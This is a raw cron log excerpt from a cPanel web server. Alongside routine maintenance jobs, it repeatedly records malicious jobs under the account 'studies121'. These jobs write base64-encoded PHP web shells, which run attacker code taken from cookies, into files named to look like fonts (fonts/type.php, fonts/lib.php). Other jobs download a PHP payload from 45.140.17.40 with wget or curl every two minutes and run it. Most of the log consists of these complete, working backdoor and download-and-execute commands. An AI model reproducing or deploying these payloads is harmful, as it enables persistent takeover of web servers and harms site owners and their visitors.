Sep  2 18:41:01 ip-184-168-122-23 CROND[28256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:41:01 ip-184-168-122-23 CROND[28255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:41:01 ip-184-168-122-23 CROND[28257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:42:01 ip-184-168-122-23 CROND[28339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:42:01 ip-184-168-122-23 CROND[28341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:42:01 ip-184-168-122-23 CROND[28342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:42:01 ip-184-168-122-23 CROND[28343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:42:01 ip-184-168-122-23 CROND[28344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:43:02 ip-184-168-122-23 CROND[28501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:43:02 ip-184-168-122-23 CROND[28502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:43:02 ip-184-168-122-23 CROND[28504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:43:02 ip-184-168-122-23 CROND[28503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:44:01 ip-184-168-122-23 CROND[28722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:44:02 ip-184-168-122-23 CROND[28725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:44:02 ip-184-168-122-23 CROND[28726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:44:02 ip-184-168-122-23 CROND[28724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:44:02 ip-184-168-122-23 CROND[28727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:45:01 ip-184-168-122-23 CROND[28861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:45:01 ip-184-168-122-23 CROND[28863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:45:01 ip-184-168-122-23 CROND[28865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:45:01 ip-184-168-122-23 CROND[28866]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:45:01 ip-184-168-122-23 CROND[28868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:45:01 ip-184-168-122-23 CROND[28867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:46:01 ip-184-168-122-23 CROND[28967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:46:01 ip-184-168-122-23 CROND[28969]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 18:46:01 ip-184-168-122-23 CROND[28973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:46:01 ip-184-168-122-23 CROND[28971]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 18:46:01 ip-184-168-122-23 CROND[28975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:46:01 ip-184-168-122-23 CROND[28972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:46:01 ip-184-168-122-23 CROND[28976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:47:01 ip-184-168-122-23 CROND[29071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:47:01 ip-184-168-122-23 CROND[29073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:47:02 ip-184-168-122-23 CROND[29075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:47:02 ip-184-168-122-23 CROND[29076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:48:01 ip-184-168-122-23 CROND[29179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:48:01 ip-184-168-122-23 CROND[29181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:48:01 ip-184-168-122-23 CROND[29182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:48:01 ip-184-168-122-23 CROND[29183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:48:01 ip-184-168-122-23 CROND[29184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:49:01 ip-184-168-122-23 CROND[29346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:49:01 ip-184-168-122-23 CROND[29347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:49:01 ip-184-168-122-23 CROND[29348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:49:01 ip-184-168-122-23 CROND[29349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:50:01 ip-184-168-122-23 CROND[29439]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:50:01 ip-184-168-122-23 CROND[29440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:50:01 ip-184-168-122-23 CROND[29441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:50:01 ip-184-168-122-23 CROND[29446]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 18:50:01 ip-184-168-122-23 CROND[29448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:50:01 ip-184-168-122-23 CROND[29449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:50:01 ip-184-168-122-23 CROND[29451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:50:01 ip-184-168-122-23 CROND[29452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:50:01 ip-184-168-122-23 CROND[29453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:51:02 ip-184-168-122-23 CROND[29549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:51:02 ip-184-168-122-23 CROND[29551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:51:02 ip-184-168-122-23 CROND[29550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:51:02 ip-184-168-122-23 CROND[29552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:52:01 ip-184-168-122-23 CROND[29634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:52:01 ip-184-168-122-23 CROND[29636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:52:01 ip-184-168-122-23 CROND[29637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:52:01 ip-184-168-122-23 CROND[29638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:52:01 ip-184-168-122-23 CROND[29639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:53:01 ip-184-168-122-23 CROND[29727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:53:01 ip-184-168-122-23 CROND[29728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
